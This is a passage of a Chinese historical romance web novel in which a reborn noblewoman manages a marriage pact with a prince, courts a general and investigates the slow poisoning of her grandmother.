时夏点点头,依旧不敢看谢行。
“现在可以说说了吧。”谢行并没有要放过时夏的打算。
“王爷想要什么解释。”时夏深吸一口气,抬眼:“我在信中已经说得很清楚了,我日日来王爷府上,本就不合规矩,想必王爷也是个明白人,京中的流言您也都清楚。”
谢行微微蹙眉,眼底闪过一丝思索,才淡声开口:“时小姐怕什么?一年之后,我们就会订婚。”
他好整以暇的看着时夏:“时小姐今日,是要停止合作?”他轻笑:“时小姐需要的帮助我都给予了,现在想毁约,可不是那么简单。”
“王爷多虑了。”时夏垂下眸子:“我们二人毕竟没有定亲,往来太过于密切,对各自都不好。至于今日,只是一个幌子而已,王爷不必担心。”
“既如此,本王在郊区有一小宅子,时小姐以后就去那里寻我吧。”谢行今日格外的好说话。
“王爷为何执意要教臣女习武?”时夏不明白。
“既是合作伙伴,本王不希望有一日本王不在,你就出了意外,这可是赔本买卖。”
-
“夏夏,今日你和那萧将军聊得如何?”晚上,**询问。
“还未怎么聊,景王就来了。”时夏叹气:“且那萧将军似乎没有明白父亲的意思,只知让我指导他。”
听到这,**也忍不住笑:“那孩子毕竟没有接触过这些,不过,你父亲倒是时常夸赞他,且从品行上来说,倒还是个不错的。”
“嗯,女儿晓得的。”时夏点点头:“可以慢慢接触,后面他自然会懂的。”
“这倒是。”**从时父那里了解了萧玦之后,对他印象也不错,忽而又想起白日里:“夏夏,你和那景王当真没有什么吗?他今日怎会突然......”
作为女子,**的自然比时父心思细腻。
即便再不愿相信,她也能感受到,谢行是因为时夏而来,绝不是所谓的什么谈论事情。
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沉默半晌,时夏才开口。
“......母亲放心,女儿与景王绝不会有什么的。”她纠结了一瞬:“女儿现在只能告诉您,我们是合作关系,其他的,再不会有了。”
**点点头,心里还是有些担心,景王一看就是个心思深沉的,夏夏和他合作,也不知是好是坏。
-
翌日,时煜下学,时夏没有再让侍女送他去景王府。
“兰香,让人备辆马车,在偏门候着。”昨日谢行已经将具体位置告诉她,她虽不想去,但两人好歹是在合作期间,也不能撕破脸面。
马车摇摇晃晃到了宅子,果然是谢行的宅子,哪怕只是从外面,一眼看去的风格都是那般冷淡。
宅子门口没有人,她轻轻敲了敲门,半晌才有人应声。
“来了。”开门的是一女子,身姿高挑,美艳动人。
时夏愣了一下,几乎要以为自己走错了。
可女子带笑的声音却打破了她的希望:“是来找王爷的吧?快快请进。”
“有劳了。”最终,时夏只说出这三个字。
前世嫁给谢行几年,她却对他一点也不了解。
京郊的宅子,她不知道。
宅子里养的女人,她也不知道。
时夏顿时觉得自己前世的种种行为可笑极了。
不过,好歹是重生一次的人了,她可谢行也注定不会有后续,不需要在意这些了。
女子身姿美极了,一看就是常年累月**舞蹈之人,每一步都像是在舞蹈。
“王爷在里面等着了,我就不带小姐过去了。”行至院子门口,女子说道。
“不知该如何唤姑娘?”时夏对她其实蛮有好感,甚至有些心疼她被谢行养在外边。
“小姐叫我安歌就好。”安歌柔柔一笑:“小姐快去吧。”
“安歌姐姐拜拜!”时煜也对安歌很有好感。
“既来了,何在外站在不动?”谢行转过身,正对上二人。
安歌见谢行看见了两人,连忙告退了。
“只是觉得王爷真是辛苦了。”时夏垂眸,牵着时煜进院子。
第44章 可否劳烦顾将军帮我摘些花?
谢行蹙眉,感觉时夏有些怪怪的:“怎么了?”
“无事,王爷开始吧。”时夏淡淡开口,拉着时煜走进院子。
谢行没多想,开口:“还是先热身。”
时夏点点头,没有说话,动作起来。
时间迅速过去,整个过程中,时夏几乎都没有与谢行有任何交流。
“今天幸苦景王殿下了,那我们就先回去了。”时夏接过兰香递来的手帕,擦了擦额角的汗珠。
她的称呼已经从王爷,变成了景王殿下。
“你今日......”谢行自然感觉到了时夏的情绪变化。
她的每一次避开她,都十分明显。
“嗯?殿下还有事?”时夏眨了眨眼睛:“今日我与小煜都有些累了,殿下也早些休息吧。”
“......我派人送你们。”谢行最终只说出这句话。
“不麻烦殿下了。”说完,时夏抬步,径直离开。
她知道自己不应该有情绪,她也没有身份去气。
可情绪,并没有那么好控制。而且这一世,她没有再闹着要嫁给谢行了。
是谢行,一次次的找上她,要与她合作,想和她定亲,可也是谢行在外面的宅子养着美娇娘。
-
“萧将军那边可说好了?”翌日,时夏挑选着衣服。
“萧将军自然不会拒绝小姐的。”兰香嬉笑。
时夏简单收拾了一番,却又不失心思的带上低调又适配的首饰,出门。
“萧将军久等了。”两人约在京郊的一处花海见面,萧玦早早便到了。
“没有没有没有。”萧玦憨笑两声:“时小姐请。”
时夏是以独自去郊区危险为由,问萧玦有没有时间一起的。
时夏扬起笑容,夸赞:“从前未注意,今日才发现,萧将军竟如此俊朗。”
拉近关系,首先便是要让萧玦自信一些。
萧玦未被人这般夸赞过,脸上忍不住染上红色:“时,时小姐谬赞了。”
看着男人这般青涩的模样,时夏忍不住笑了出来,萧玦是她认识的,唯一一个这般纯情的男子,这样的男子,想必待妻子也是极好的。
就算不说爱,至少也是尊敬的。
时夏向前走,走进花海里,扬声:“今日天气真好,花也开得比往年更加动人。”
说着,她伸手,想要摘下一朵玫瑰。
可玫瑰的根茎上带有许多刺。
“嘶!”时夏轻呼一声,白嫩的食指上,赫然是一道被刺划开的伤口,两滴鲜血迅速冒出来。
她的皮肤本就白皙,红色在手上显得格外刺眼。
“时小姐!”萧玦听到动静,连忙走近。
低头,便是时夏手上夺目的红,以及一张皱起的小脸,眼眶还微微发红,委屈极了。
“萧将军......给你添麻烦了......”她低头。
“没有没有,我带了药的,要不先去处理一下伤口。”萧玦说着就要把时夏往马车那便拉。
“有劳萧将军了。”
萧玦翻出准备好的药,看向时夏:“这药......”
时夏眼睛更加红了:“我不会处理伤口......”
萧玦又将目光投向兰香,兰香赶紧摇头:“奴婢晕血,可能得劳烦萧将军......”
第二点,便是要让男人感觉到需要。
萧玦没有多想:“那便冒犯了。”
他将时夏受伤的手拉过,摊开。
时夏的手是小的,细腻白嫩的,而他则不同,肤色偏黑,一双大手上有许多茧,以及从前的伤。
“萧将军的手上......怎这样多的伤口?”她柔声开口,语气中夹杂着几分心疼。
第三,让男人感觉到她的心疼与理解。
萧玦感觉心里划过一道莫名其妙的情愫,有些奇怪,捉摸不透,他顿了一下才开口:“都是些小伤口,无碍的。”
他拿起药瓶,温热的手掌着时夏的手指,右手微微抖动两下,药粉撒在伤口上。
随后再拿起纱布进行简单的包扎。
“多谢萧将军了。”时夏笑笑:“今日若不是有萧将军在,我可不知道该怎么好了。”
萧玦挠了挠脑袋,有些不好意思的笑了笑:“那玫瑰有刺,时小姐小心些。”
时夏微微弯曲了一下包好的手指:“
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我这手,可能不太方便......可否劳烦萧将军帮我摘几朵花?我想带回去。”
“当然可以。”萧玦说动就动,朝着刚才那片玫瑰花海走去。
“萧将军!”时夏喊住他:“我想要挑选新鲜一些的。”她似乎觉得自己的要去有些过分,不太好意思。
“那时小姐和我一起去,你说哪个好,我便帮时小姐采摘。”萧玦在前面开路。
“劳烦萧将军了。”
时夏跟在萧玦身后。
阳光洒下,一片花海里,男子走在前面,女孩身子瘦小,跟在后面,叽叽喳喳的说着什么。
一副好风景。
“萧将军!这束好好看!”时夏惊喜:“萧将军不若直接用剑取下?这样可以多保留一段时间。”
萧玦点点头:“还是时小姐聪明!”
于是,就这样,一人挑选,一人用剑,一大捧玫瑰被两人摘取。
“萧将军,不若让我帮忙拿些吧。”时夏几乎是看见好看的就说,导致现在萧玦怀里全是玫瑰。
“不用,这上面有刺,我拿着好些。”萧玦向马车走去。
“可上面的刺也会伤到将军啊。”时夏眨眨眼。
“我是男子,不怕这些。”萧玦将花整齐放在马车上:“这些次我帮你去掉吧。”
说着,他就拿出**,开始一束一束的划根茎上的刺,眉眼里满是认真。
时夏抿抿唇,有一种莫名的愧疚。
萧玦是一个好人,也是一个真诚的人,她却要这样利用他......
“萧将军,不用了。”她开口。
“无事,我把刺去了正好免得你再受伤。”萧玦乐在其中。
时夏无奈,如果她们两人真的能成的话,她必然也不会亏待萧玦的。
萧玦越来越熟练,很快,一大捧玫瑰便全都被处理好。
“多谢萧将军!”时夏笑:“今日如此劳烦萧将军,将军若是有空,不若去府中用个晚膳?”
“好。”萧玦没有拒绝。
两人各自坐上马车,往时府走去。
突然,马车停下。
“好巧,萧将军?”微凉声音从马车外传来。
第45章 有朝一日,时家成为第二个林家
时夏身体微僵,谢行怎么又在?
萧玦似乎也有些意外:“王爷?”他从马车上下去。
谢行目光投向后头那辆马车,嘴角的笑意有几分危险:“这是?”
“是时小姐。”萧玦笑:“时小姐让我来帮忙。”
“哦?时小姐也在?”哪怕是隔着马车,时夏也能感受到谢行目光。
兰香拉住时夏的衣袖,有些担心。
时夏摇摇头,没作声。
“今日正巧遇上,时小姐不若下马车聊聊?”谢行已经走到了时夏的马车前。
“恐怕不太方便,家父在催着回去了。”时夏垂眸。
“不过几句话的功夫,应当耽误不了时小姐什么时间。”谢行的声音带上了几分警告。
时夏不禁有些烦躁,又是这样。
永远都是这样。
前世也是。
谢行永远都要求别人按照他的想法来,好像别人不听他的,就犯了什么大罪一样。
而且永远是居高临下,永远高高在上。
“今晚我要进宫。”
“过几日我离京,你不要随便出门。”
“时夏,别闹了。”
......
他总是这样的。
想到这,时夏心中莫名多了一股气,声音也染上了几分冷意:“二位慢聊,再不回去,父亲该着急了。”
车夫虽然害怕谢行,但毕竟时夏才是主子,自然听时夏的。
但谢行站在马车前,他不敢贸然出发,否则若是伤到了谢行,那可就......
谢行压下心中的火意,语气里带上几分威胁之意:“时小姐,本王也挺想和时大人聊聊天。”
他在威胁时夏,若是时夏质疑不下马车,他便把合作的事情告知时父,而定亲自然也包括在内。
旁边的萧玦虽不明白为什么,但也感受到了周围死寂的氛围。
他上前两步:“王爷也想去找时大人?正巧我也要去,不若一起?”
谢行刚要点头,一双玉手掀开马车帘子:“想必王爷平日里公务繁忙,我们就不耽误王爷的时间了。”她走下马车。
“王爷有何事便说吧。”
“时小姐确定要我在这里说?”
时夏默了一瞬,目光看向萧玦:“萧将军,劳烦你稍等片刻。”
“没事没事,我不急。”萧玦挥挥手。
时夏率先迈步,走向斜对面的阴影处。
“时小姐这般觉得见不得人?”谢行声音幽幽从身后传来:“亦或是心虚?”
“王爷说笑了。”时夏淡声。
“你受伤了?”白嫩的手指,粗糙的包扎格外显眼:“这不像你的包扎手法。”
“嗯,多亏了萧将军。”时夏点头。
“呵,你倒是半点不在意。”谢行目光犀利:“我记得前几日,我便说过了,现下你又主动去找他,是想作何?”
“王爷,我们现在只是合作关系,当初也说的,若一年后我们都未定亲,我就嫁。”时夏抬头,和谢行对峙着:“王爷怎的现在就将自己摆在未婚夫的位置上了?”
谢行似乎被时夏气笑了:“时小姐这般聪明,不会不知道我选择与你合作的目的是什么。”
“王爷为何认为,我嫁与你,便一定对你是件好事?”她一时有些口不择言:“王爷就不怕,有朝一日,时家成为第二个林家?”
“你可知你在说什么。”谢行声音增添了几分严肃。
时夏噤声,她刚才是有些激动了。
“王爷恕罪。”刚才的话确实不是什么好话,若是谢行怀疑,说不定真的会查,虽然时家确实是无辜的,不会做出那样的事,但只要谢行想,又有什么不可能?
“不要和他联系了。”谢行没有再继续纠这刚才时夏说的话,而是回到最初。
“恕臣女难以从命。”时夏拒绝。
“当初同意合作时,你是如何答应的?”
“王爷也大可以找寻新的更加合适的人,臣女不会阻止,同样,臣女希望王爷也不要干涉臣女的事。”
“你当真不怕本王直接去找陛下赐婚?”谢行也气。
“臣女相信无论是谁来,父亲都会优先尊重我的选择,哪怕是告老还乡。”
这话的
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确说得没错。
时夏一直没有定亲,一是家人一直舍不得太早将时夏嫁出去。
二则是当年时夏一直只爱跟在谢行身后跑,时夏的选择是最重要的。
“还是说,王爷也和别人一样,觉得我从前一直跟在你后面,现在我有我自己的选择了,我不再想要嫁给王爷了,王爷心里的那点占有欲开始作祟了?”时夏冷声。
“时夏。”这是这一世,谢行第一次喊时夏的全名,而不是时小姐。
“王爷若是无事,臣女便先走了。”时夏扔下这句话,离开。
谢行在阴影下,看着时夏逐渐走远,头上的发簪在阳光照射下反射出光芒。
-
“小姐,这些花怎么摆放呀?”饭后,萧玦也离开了,兰香看着下午两人摘的慢车花有些无措。
“我来吧。”时夏正巧也无什么事:“你去多找几个花瓶来,接好水。”
时夏用剪子再简单修剪了一下花茎,将花一支一支的**花瓶里,简单调整一下方向,好看极了。
“小姐的手艺真好!”兰香忍不住感叹,她家小姐就是优秀。
“就你嘴巧。”时夏轻笑,很快,几个花瓶都放满了娇艳的玫瑰:“嗯......这个给母亲送去吧,这个给祖母。”
她分配着这些花的去向。
还剩下几瓶......
她仔细看了看,选了个剩下的几瓶里面,看起来最为新鲜的:“找人将这瓶给萧将军送去吧,就说他今日辛苦了。”想了想,又补充道:“小心避开些耳目。”
“是。”兰香笑:“小姐对这萧将军可真是好。”
-
夜里,谢行漫不经心的看着花瓶里的几支开得娇艳的玫瑰,手指轻轻抚上一片花瓣,又想到了下午时夏说的话。
不由得微微用力,花瓣顿时微微溢出汁水。
......
“夫君......”女人呢喃:“你巧,我今日新去采摘的花。”
男人握住女子的腰,俯身吻下。
玫瑰微微的清香在房间里弥漫开来,让人沉沦。
第46章 老夫人晕倒了
自上次两人发生争执,不欢而散之后,便陷入了冷战。
不过,时夏倒是乐在其中。
既不用再去见谢行,和云杉纺那边的合作也在继续。
时间一天天过着,逐渐进入了夏日,天气也逐渐炎热起来。
时夏更加不愿出门,只偶尔去指尖织看看情况,或者和萧玦来一场偶遇。
前几日皎皎找到了五六个女工,时夏最近有时间时便会将她们叫来。
“这不同的客人,适合的衣服自然不同,要根据......”时夏正在和几人上课。
突然,兰香焦急的跑来,还带着些哭腔:“小姐!小姐!老夫人晕倒了!”
此话一出,时夏脑中一片轰鸣。
晕倒?怎么会?上辈子祖母也是突然晕倒,没过几个月......
可那也是在她嫁给谢行之后啊!
这一世怎么会这么快!
时夏几乎要站不住,都怪她,没有提前作好准备......
“快,快带我过去。”时夏心绪不宁,她有些茫然,不知道该怎么办了。
到了祖母院子,时父还未来得及赶回来,时煜也还在学堂,只有**和一个大夫守着。
“娘......”时夏眼中含着泪,带着哭腔开口。
**赶紧拉过女儿,她自然知道祖孙二人关系极好,安慰道:“别担心,夏夏,你祖母身体一向很好,不会有事的。”
话虽是这样说,可她心里也没有底,老太太毕竟年纪大了,这次又突然晕倒。
时夏点点头,可心里是止不住的担心。
“夫人,小姐。”没多久,大夫为老太太把完脉,起身。
“如何?”**皱眉。
“在下学识浅薄,并未看出老夫人是何原因突然晕倒。”大夫低头,有些惭愧。
说来也奇怪,任由他刚才如何把脉,均没有看出有何问题。
可老夫人就是突然晕倒了,而且他也能感觉到,是真的晕倒了。
时夏顿时心里一沉,心里的慌张更甚。
她本来还在心里希望着,说不定祖母只是太累了,没有休息好晕倒的呢?
可上一世祖母突然晕倒,也是这般,查不出原因。
祖母连续几个月卧床不起,没多久便......
她本还想着时间还早,可以慢慢查。
可这一切都提前发生了,打了她个措手不及。
“有劳了。”**虽也觉得奇怪,但也只能让大夫先下去了。
“娘,我想去陪着祖母。”
“去吧。”**自然不会阻止女儿尽孝。
时夏搬了个小凳子,放在祖母床边,静静的看着昏迷中的祖母。
又有些想哭了。
祖母那么好,怎么会这样呢?
突然,她心里一惊。
若祖母生病的事提前,那便说明......这不是意外,是有人蓄意为之。
府里,有别人安插的人手。
并且想要针对时家。
“兰香,你派人去一趟景王府。”时夏垂眸。
她并不觉得谢行会对祖母下手,就算下手,也不是现在。
毕竟,他还想留着时家,利用时家。
只是谢行也安插了人在时家,说不定,她可以利用谢行,查出到底是谁安插了人手,谁想要害时家。
而且,她记得上次在宫里,她被六公主和三皇子算计,谢行带来的医师,宋方林。
他的医术极为高明,哪怕是在阎王殿里,都能给人拉回来。
前世祖母生病前,正巧谢行被皇帝派出去查案。
因为路途遥远,谢行一走就得四五个月,便把宋方林带上了。
也恰巧,让时夏错过了救治祖母的机会。
时夏承认她很自私,前不久刚和谢行发生争吵,现在需要谢行帮助了,又去找谢行。
可若是她不自私,不就又会像上辈子一样了?
况且她也未害人,她只是想保护好自己,保护好家人罢了。
她握着祖母的手,长久的看着那张双眼紧闭的慈祥面容。
“夏夏,先用膳吧。”**劝。
时夏摇摇头:“我不饿,娘你先吃吧。”
“你不吃饭怎么行呢?”
时夏还是固执摇头。
祖母病了,一定会希望醒来时有人陪着她的吧。
若是她走了,祖母正巧醒来,发现屋子里一个人都没有,不知得多难过。<
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br>**无奈,叹了口气:“我让人送些饭菜过来吧,若是你祖母醒了,也正好可以吃些。”
“娘,辛苦你了。”
不知过了多久,时父和时煜都来看来几次了,祖母还没有醒来。
时夏趴在祖母床边,握着老太太的手。
突然,她感觉手里传来动作。
一抬头,果然看见老太太缓慢睁开眼睛:“祖母!”
老太太刚醒来,还有些头疼:“夏夏,这么晚了,你怎的还在这?”
“夏夏要陪着祖母。”见祖母醒来,时夏高兴多了:“祖母口渴吗?要不要喝些水?”
说着她便直接去倒了杯茶水,递过来:“温度刚刚好!”
“还是夏夏最贴心。”祖母缓过了些神,接过茶杯,轻轻揉了揉脑袋。
“祖母可要用膳?这都整整一日了。”时夏担忧。
老太太摇摇头,她现在醒来了,可身体还是不大舒服,没有什么胃口。
“娘!”时父几人也来了。
老夫人刚醒来,兰香便十分自觉的去告诉几人。
“诶!”老太太笑笑:“我没事,你们不用担心。”
“祖母,不若今晚我陪你睡吧。”时夏眼神亮晶晶。
老太太却拒绝了:“你今日一直守着我,定没有好好休息,你快些回房休息吧。”
“就是,夏夏,娘可以照顾好你祖母的。”**虽和老夫人关系说不上时夏那般好,但也是不错的。
时夏本想再争取一下机会,但老夫人故意板着脸,一副要生气的样子,倒是显得多了几分活力。
时夏无奈,点头答应。
现在更重要的是想办法治好祖母的身体,以及找出幕后之人。
回到房间,时夏便洗漱:“兰香?王爷那边如何说?”
“王爷......拒绝了。”兰香不忍开口。
时夏点点头,在她的意料之内。
-
翌日,估摸着谢应该快下朝了,时夏便往王府赶去。
谢行刚回来,便看见府门口站着一女子。
他当作没有看见,目不斜视就要进府。
“王爷!”时夏情急,下意识一把拉住了谢行的衣服。
第47章 那就,合作愉快。
谢行只是冷冷扔出一个眼神:“时小姐,请回吧。”
时夏咬唇,但最终还是开口:“王爷,我们能谈谈吗?”
“时小姐是以什么身份,什么姿态和我谈?”谢行扯回衣袖。
眼看着谢行就要走,想到前世祖母的结局,时夏一咬牙:“只要王爷这次愿意帮我,我什么都可以答应王爷。”
时夏没有逃避,目光直直对上谢行,倒是坦诚了许多。
谢行没有说话,转身,向府里走去。
时夏的心一点点沉入谷底,是啊,她之前都那般对谢行了,她凭什么要求谢行帮她呢?
“还不进来。”突然,一道声音从前面传来。
时夏惊喜,赶紧进入王府。
谢行并没有刻意等时夏,他本就个子高,腿长,时夏需得小跑着才能跟上。
时夏跟在谢行后面,进入了书房。
看到熟悉的书房,时夏心里微动,下意识想到了上次在书房被谢行抓包。
虽然谢行当时没有说什么,但是按她对谢行的了解,谢行日后必然会和她清算。
“说吧。”谢行坐在书案旁,打开书卷,未分给时夏半个眼神。
“臣女斗胆......想向王爷借一个人。”时夏垂眸。
“谁?”
“上次那位医师。”
“嗯。”谢行抬笔写着什么:“时小姐可别忘了今天说的话。”
时夏愣住,刚在在心里排练了无数遍要如何向谢行解释原由,若是谢行不同意她要怎么恳请的话语,全都憋在了嘴里。
她没想到谢行会这般直接答应她。
久久未听到女孩的声音,谢行抬眸,和时夏有些呆愣的目光对上。
这样不带算计的时候,倒是少见。
“多谢王爷!”时夏这才反应过来:“臣女定不会违背约定。”
她可以拿自己做赌,但永远也不会拿家人来。
“坐。”谢行放下手中事,淡声。
时夏心里有些紧张,不知得谢行会提什么要求。
“关于定亲,我认为目前时家是合适的。”谢行开门见山:“当然,出于一些原因,我不会立刻提亲,但我希望时小姐
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记清楚,在我这里,我们两人已经相当于是未婚夫妻了的。”
“时家如若需要什么帮助,我会提供,但同样,这也代表着时家选择了我。”
“王爷放心,臣女明白。”时夏点头:“之前的事情,不会再发生了。”
“那就,合作愉快。”
-
和谢行谈好,时夏不敢耽误时间,赶紧带着宋方林回府。
“宋医师,我祖母昨日突然晕倒,劳烦你帮忙看看呢?”
宋方林放下药箱,把脉。
他把脉时间很长,本来还舒缓的眉毛,不知不觉间皱起。
“宋医师?”时夏有些紧张,宋方林是祖母唯一的希望了。
“无事,我开些药调养调养便好。”宋方林淡声。
时家众人皆是松了一口气。
“祖母放心,夏夏就知道你不会有事的。”时夏笑:“我去送一下宋医师。”
两人出房门稍远后,时夏才开口:“宋医师,我祖母的身体......”
“**了。”他缓声开口:“有人长期下毒。”
第48章 王氏
时夏微微敛眉,意料之中的答案:“宋医师可有解毒之法?”
“这乃是外邦之毒,且老夫人至少接触了这毒五年以上。”宋方林表情严肃:“从前一直无事,是因为此毒需要一特殊药品引发。我回去便赶制解药,但您得尽量让老夫人不再接触那毒,那毒一次比一次剧烈,若反复发作,老夫人可能会挺不过。”
时夏心里一紧,但还是维持着面容:“多谢宋医师。”
“要谢,就谢王爷吧。”宋方林呵呵一笑,便拿着东西离开。
时夏抬步,准备回去好好思考一下,究竟是谁想要害祖母。
迎面却撞到一个不速之客。
“三小姐,真巧呀。”王氏从对面走来。
王氏本只是府里的一个陪嫁丫鬟,后来爬了大伯父的床,祖母本厌恶这样的人,但王氏正巧又怀上了孩子,给时府生下了第一个孩子,这才被抬为妾室。
但这么多年里,府中众人都不喜她。
虽不至于苛待她,但也不愿和她多加来往。
时夏当作没有看见王氏,就要绕开她往前走。
“三小姐为何不理妾?”王氏却依依不饶:“不知老夫人如何了?”
时夏这才停下脚步,看了她一眼:“姨母若是无事,不若去祠堂多抄几卷经文,为祖母祈福。”
妾室一向没有地位,也就比普通婢女好一些。
时夏是可以罚她的。
王氏表情僵硬了一瞬:“三小姐说笑了,我这不正想去瞧瞧老夫人的情况嘛。”
若她没有记错,那日王氏去找祖母没多久,祖母就晕倒了。
她现在不敢冒任何风险。
“姨母请回吧,祖母现下需要静养。”
“诶,老夫人现在生病,最是需要人陪,我去同老夫人说说话,也是不错的啊。”说着,王氏又想上前。
时夏蹙眉,兰香很有眼力见的拦住了她。
“你这丫鬟!怎敢这般对我!”大伯父一家常年不在时府,平时时父几人也和她往来较少,也就老夫人会管着她,但也只是偶尔,所以她的脾性养的急。
“姨母。”时夏声音放大,带着几分警告和威胁:“我说了,祖母需要静养,姨母非要闯入,是何居心呢?”
她现在烦躁得很,不愿花时间与王氏虚与委蛇,所以话说得也直接。
王氏一下涨红了脸:“我,我!”
“还不快带姨母回去休息?”时夏撇了一眼王氏身旁的侍女。
那侍女唯唯诺诺的,一看性子便软极了,哪怕有衣服遮挡,时夏也能看出她胳膊上和脖子上有些被打出的伤口。
时夏只是这样看她一眼,她就害怕得瑟瑟发抖:“姨娘,我们快走吧。”
王氏气急,却又不敢对时夏发泄什么,只好瞪了一眼那婢女,手下也毫不留情的掐她。
那婢女疼的呲牙咧嘴,却也不敢躲开,只默默受着。
两人这才缓步离开。
时夏虽有些感叹那婢女的遭遇,遇到王氏这样的主子。
但她救了一个婢女,还会有下一个婢女被王氏这样欺负。
就算她加以阻止,可她们关上屋门,婢女不也随王氏折磨。
她若真的出手相助,说不定反而会害的那婢女被王氏欺负得更惨。
-
到底是谁相对祖母下手呢?
如若对祖母下手是计划好的,那岂不是,前世时家出事,也可能是他们一手促成。
“兰香,收拾一下,去景王府。”时夏也不再吝啬去找谢行。
反正她都已经求谢行帮忙了,就算是为了祖母,他们的合作也不可能终止。
那她何不好好利用谢行的力量呢?
谢行似乎早有预料她会来府上,管家早早的便在府门口候着:“时小姐来啦。”
他似乎很喜欢时夏,每次看见时夏就眉开眼笑。
“王爷在书房,我带您过去?”管家李叔笑意盈盈。
“不麻烦您了,我自己过去就好。”时夏浅笑。
李叔点点头:“好,也好。”
不过,这时小姐记性可真好,统共也没去过几次,竟然便这般轻车熟路。
“王爷。”时夏进入书房。
“时小姐今日又为何事。”谢行写着什么,淡声开口。
“我知王爷在时府中有眼线。”时夏轻描淡写开口:“想必除
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了王爷,应该也还有别人在时府安插眼线吧。”
谢行轻笑:“你倒是直接。”
“多谢王爷夸奖。”
“拿去吧。”谢行将书案上刚刚写完的纸给时夏递过去。
“多谢王爷了。”时夏仔细看着上面的名单,回忆着。
“记得我之前同你说的便好。”
-
时府突然开始一一排查下人,每一个婢女小厮都要严格审查。
时夏,**等等,凡是有空的人,都来盯着了就连一向不出现在公开场合的王氏,也来了。
几个婢女小声交谈着。
“这是怎么回事啊?”
“听说,老夫人晕倒是有人故意**,老爷这是要排查府里的人呢。”
“这如何排查?”
“都安静些!”一老嬷嬷厉声开口,随即开始一个个检查。
“你身上怎的这般多的伤?”检查到一半,老嬷嬷皱眉。
那婢女正是王氏的丫鬟。
那丫鬟大惊失色,下意识的看了一眼在旁边坐着的王氏,随即惊恐的想要收回手。
“怎么了?”时夏站出来,走到那婢女身旁:“别怕,告诉我。”
那婢女却是扑通一声跪倒在地,浑身发抖:“小姐,我,我,奴婢没事......”
她害怕得脸称呼都说错了。
时夏弯腰,轻轻拉起她,安抚:“别怕,我在这里呢,有什么事情都可以和我说的。”
许是时夏得安慰起了作用,婢女的颤抖逐渐止住。
“府里可有人欺负你?”
“没,没有......”
“那你这伤口?”时夏微微将她胳膊的袖子向上撩了一点,瘦若无骨的小臂上满是青紫交错的伤痕。
有些是新的,有些明显是从前的,只是还未好便添了新伤。
“我,我......”婢女赶紧收回手,袖子遮挡住,随即又跪下,不停的用力磕头:“奴婢,奴婢自己不小心摔的......”
“既如此,那便以后注意些吧。”明明是很明显的扯谎,时夏却没有再深究下去,留下这一句话后,便又去一旁坐着,看嬷嬷一一检查。
第49章 簪花里有毒
翌日,时夏正准备出门,竟在门口遇到了燕尘。
“世子?”时夏诧异。
“听闻时老夫人近日身体不太好,燕家从前也受到过老夫人的照抚,我便想着来看看有没有什么能帮得上忙的。”
时家虽然没有声张,但京城许多人家也都知道老夫人身体出了问题。
甚至皇帝还特意给时父休假,让他回府好好照顾老夫人。
“有劳世子挂心了。”
“不知老夫人现下状态如何,可方便去看看?”
时夏面露难色:“祖母这几日都不太好,已经没有怎么出门了......”
“抱歉,是我失言了。”燕尘愧疚。
时夏勉强的笑了笑:“我相信,祖母的身体很快就会好起来的。”
“那是自然,老夫人吉人自有天相,时小姐也不必太过忧心。”他靠近两步:“你看你这,都憔悴了不少。”
“多谢世子,我会的。”
“哦对,我今日来,还有一事。”燕尘的小厮从马车里拿出一木匣:“这是我和大皇子在外游历时意外所得之物,或许对老夫人的情况有些效果。”
时夏震惊抬头,随即赶紧拒绝:“世子,这太贵重了......”
燕尘却强硬的将木匣塞入时夏手中:“跟我客气什么?”
时夏默了一瞬:“多谢世子,日后......若有能帮上世子的,我定然义不容辞。”
“不用,本就是一番心意而已。”燕尘轻笑:“那我便不打扰你了。”
“世子慢走。”时夏松了一口气,她得去找谢行了。
“时小姐?”气还未舒完,一道男声又响起,是萧玦。
近日怎么一个接着一个的来人啊?
她和谢行约的时间快要赶不上了。
时夏心里虽着急,但也只能耐下性子:“萧将军?”
“我来看看老夫人。”他手上还提着些东西,倒是难得,知道上别人府上要带东西了。
“祖母近日身体卧病在床,不太方便见客......”时夏的回答依旧如此。
萧玦无措,然后就要把手上的东西都给时夏:“这些都是陛下赏给我的东西,听说对身体很有益!我便都带来了。”
他要将七八个盒装的精装补品给时夏。
“多谢萧将军,但......”时夏忍不住有些感慨。
时家并不缺这些,这么多年的积攒,时家天才地宝,什么没有?
而萧玦不过才上任几月,这些都是他刚刚上任时,皇帝赏赐给他的。
现下,他竟然要全盘送给时家。
若不是......他真的是一个很合适的人选。
“萧将军也在此?”推拉中,谢行的声音响起。
时夏微微一僵。
“王爷?您也来看老夫人吗?”萧玦趁着时夏愣神的功夫赶紧把东西都塞进时夏怀里,然后收回手,生怕时夏再还给他一样。
谢行眼神暗了暗,走过去几步,站在时夏身侧:“嗯,顺便来商量些事。”时夏怀里的满满当当,虽时就要掉落。
他拿起时夏怀中的几个盒子,打开看了看:“倒都是些好东西。”
萧玦嘿嘿一笑:“那你们慢慢聊,我便先走了。”
萧玦离开,现场便只剩下时夏和谢行。
兰香从时夏手中接过另外几个盒子。
时夏小心开口,眼神带着几分试探:“今日我真的没有......”
“嗯。”时夏还没有解释完,谢行便淡声开口:“现在怎么样了。”
-
日子一天天过去,老夫人的状态却越来越差。
从第一天晕倒,到隔三岔五晕倒。
现下一天清醒着的事件可能也就一两个时辰,且都在床上躺着,没有精力起身。
时夏日日守在老夫人床边。
她眼睛都肿了:“祖母......”白嫩的手紧紧握着祖母已经满是褶皱的手,有些冰冷。
祖母有些无力的笑了笑,安抚:“夏夏,不要担心......祖母,祖母舍不得离开我们夏夏的......”
听到这句话,时夏的眼泪又忍不住了,大颗大颗落下。
前世,也是这样。
明明祖母的身体很好,明明她找了京城里最好的医师给祖母治病,可祖母的身体就是半点不见好转,愈发严重。
哪怕是这样了,祖母还是温柔又耐心的安抚她。
“夏夏,不哭。”祖母伸手,想要抹掉时夏的眼泪。
手费力的抬
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起一些,却又无力。
突然,外面传来一阵吵闹声。
“都可以进去,凭什么我让我进去?”是王氏,她想要进屋子。
时夏皱眉,擦了擦眼泪,起身,端端走出屋子:“姨母在吵什么?”
王氏见到时夏有一瞬间的心虚,但还是梗着脖子:“我见老夫人身体不好,好歹老夫人对我照顾颇多,我便来看望看望老夫人。”
“姨母应当知道,祖母最不愿见的人便是你。”时夏站在台阶上,王氏在台阶下。
一高一低。
“三小姐这话说的,我虽只是妾室,但好歹也算是长辈。”说着,王氏就试图强行往屋里去。
时夏眼神一凛,伸手,一把抓住王氏的胳膊。
她好歹跟着谢行学了这么一段时间了,虽不能说是大幅度增长。
